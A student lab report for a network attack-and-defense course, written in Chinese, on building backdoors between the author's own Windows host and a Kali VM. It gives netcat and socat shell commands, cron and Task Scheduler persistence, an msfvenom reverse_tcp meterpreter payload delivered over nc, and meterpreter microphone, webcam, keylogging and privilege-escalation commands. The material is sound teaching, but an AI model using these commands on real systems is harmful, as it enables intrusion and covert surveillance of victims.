20155328 《网络攻防》实验二:后门原理与实践

实验问题回答

1.列举你能想到的一个后门进入到你系统中的可能方式?

在非官方网站上下载软件时候的捆绑运行。

2.列举你知道的后门如何启动起来(win及linux)的方式?

恶意用户远程控制。

3.Meterpreter有哪些给你映像深刻的功能?

抓取摄像头,感觉像电影里的黑客镜头一样,很炫酷。还有击键记录。

4.如何发现自己有系统有没有被安装后门?

用安全软件检验吧。

实验步骤

Windows获得Linux Shell

在cmd命令行下输入ipconfig查看本机IP信息:

接着在命令行下使用netcat监听5328端口:

在kali中,反向连接主机的5328端口。

可以在命令行中看到,windows成功获得了一个kali的shell。

Linux获得Windows Shell
在kali的终端中输入ifconfig查看虚拟机的IP:

在kali中打开1234端口的监听,并在windows下命令行中反向连接1234端口。

此时可以在kali终端中看到已经获得了一个windows的shell。

使用netcat传输数据
第一步:在windows中开启对5328端口的监听;

第二步:在kali中反向连接5328端口;

第三步:进行数据传输。

使用netcat获取主机操作Shell,cron启动
在windows命令行下,监听8888窗口;

在kali中输入crontab -e命令编辑定时任务,选编辑器时输入3,选择vim编辑器。

等到11:25时,windows下获得了kali的shell,可运行linux指令。

使用socat获取主机操作Shell, 任务计划启动

在win7中进入控制面板→系统和安全→管理工具,打开计划任务。

创建任务,输入任务名为zyqexp2.新建触发器,在“程序或脚本”中选择socat.exe,添加参数tcp-listen:8888 exec:cmd.exe,pty,stderr,把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上。

创建结束后,按住win+L锁定计算机,再打开可看见自己的任务在运行。

在kali终端中输入socat - tcp:192.168.199.227:5328,可以看到已经得到了一个windows的shell。

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在kali中输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.202 LPORT=8888 -f exe > 20155328_backdoor.exe,生成后门;在windows下输入ncat.exe -l 8888 > 20155328_backdoor.exe,进入接收模式;

在kali中输入nc 192.168.199.227 8888 < 20155328_backdoor,传输后门文件。

打开windows的文件夹可以看到后门程序已经传输过去了。

在kali中新建终端,输入msfconsole进入msf控制台。

输入use exploit/multi/handler使用监听模块,设置payload;用set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload;输入set LHOST 192.168.199.202指定linuxIP;输入set LPORT 8888指定端口号。

可以看到通过MSF获取了windows的shell。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在msf控制台中输入record_mic,获取一段音频。

输入webcam_snap获取摄像头,进行拍照:

输入keyscan_start指令开始获取敲击键盘的记录,用keyscan_dump读取记录。

getuidgetsystem查看用户与提权。

实验中遇到的问题

这个可以说很崩溃了。昨天下午去图书馆就发现虚拟机和主机间相互ping不通,以为是网络配置的问题,结果设置成NAT模式下可以用Windows获得Linux Shell,却无法用Linux 获得Windows Shell。换了桥接模式设置了固定IP也没能成功。今天早上在寝室重新打开虚拟机,发现还是桥接模式下的kali自动变成了和主机在同一个网段的IP地址,主机可以ping通虚拟机了,但虚拟机还是ping不通主机。经过万能百度,关闭了Windows防火墙,以及修改了入站规则(如图)。就可以了。

还经常会遇到一个桥接网卡eth0没在工作的问题,就只能显示IPv6,显示不了IPv4的地址。设成桥接模式后和wifi连上,让网卡处于工作状态就好了。

问题之2:在crontab的时候试了好几次,都没有办法在自己指定的时间get到shell。后来发现选错了编辑器,选成vim就好了。

改好了以后发现还是不行。然后惊觉虚拟机时间和主机时间不一样。

就修改了下时间。然后就好了。

实验总结

这次实验遇到的问题真还挺多的,各方咨询无果。开始靠自己。七分靠打拼。问题一个个解决,心情也就越来越好,最开始想砸电脑的心也就没有了...谜之喜欢摄像头获取这个技能,有种电影里曾经觉得很厉害的东西被自己实现了的错觉。以后还要慢慢加油呀。